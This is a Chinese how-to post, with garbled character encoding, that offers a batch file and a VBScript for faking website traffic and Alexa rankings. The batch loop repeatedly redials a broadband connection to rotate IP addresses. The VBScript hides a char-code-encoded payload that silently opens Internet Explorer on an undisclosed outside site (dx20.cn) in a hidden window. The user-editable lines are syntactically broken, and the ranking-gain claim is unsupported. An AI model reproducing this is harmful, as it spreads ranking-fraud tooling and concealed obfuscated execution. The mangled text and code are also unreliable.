以下代碼保存為：shua.bat
=======================================================
@ title 網(wǎng)站刷流量排名工具
@ echo ----------------------------------------------------------
@ echo 網(wǎng)站刷流量排名工具。
@ echo ----------------------------------------------------------
@ color 0A
@ echo off
@ rem ---------- 設(shè)置名稱,帳號(hào),密碼,延遲時(shí)間 ----------
@ set 連接名稱=中國網(wǎng)通
@ set 寬帶帳號(hào)=13213610060
@ set 寬帶密碼=123456
@ set 延遲時(shí)間=15
@ rem ---------- 以下部分不要修改 ----------
:start
@ Rasdial %連接名稱% %寬帶帳號(hào)% %寬帶密碼%
@ start shua.vbs
@ ping 127.0.0.1 -n %延遲時(shí)間%
@ Rasdial %連接名稱% /disconnect
@ taskkill /f /im IEXPLORE.EXE
@ rem 循環(huán)
@ goto start
=======================================================
以下代碼修改后保存為：shua.vbs
=======================================================
Str = Array
(83,101,116,32,111,98,106,83,104,101,108,108,32,61,32,67,114,101,97,116,101,79,98,106,101,99
,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,13,10,111,98,106,83,104,101
,108,108,46,82,117,110,32,34,73,69,88,80,76,79,82,69,46,69,88,69,32,104,116,116,112,58,47,47
,100,120,50,48,46,99,110,47,118,105,112,47,34,44,48)
Function Num2Str(Str):For I=0 To UBound(Str):Num2Str = Num2Str & Chr(Str(I)):Next:End
Function
Execute Num2Str(Str)
'//請(qǐng)?jiān)谙旅嬖O(shè)置要刷的網(wǎng)頁，每行一個(gè)地址，不要超過10個(gè)地址。 //
objShell.Run "IEXPLORE.EXE ; ,0
objShell.Run "IEXPLORE.EXE ; ,0
=======================================================
其中要修改的地方用加粗標(biāo)示。安裝 alexe 工具條后可以刷網(wǎng)站排名和流量，沒有安裝 alexe 工具條只可以刷流量。運(yùn)行 shua.bat 即可開始掛機(jī)刷流量。每天刷一個(gè)小時(shí)，堅(jiān)持半個(gè)月，alexe排名最少提升50萬名。
申請(qǐng)創(chuàng)業(yè)報(bào)道，分享創(chuàng)業(yè)好點(diǎn)子。點(diǎn)擊此處，共同探討創(chuàng)業(yè)新機(jī)遇！
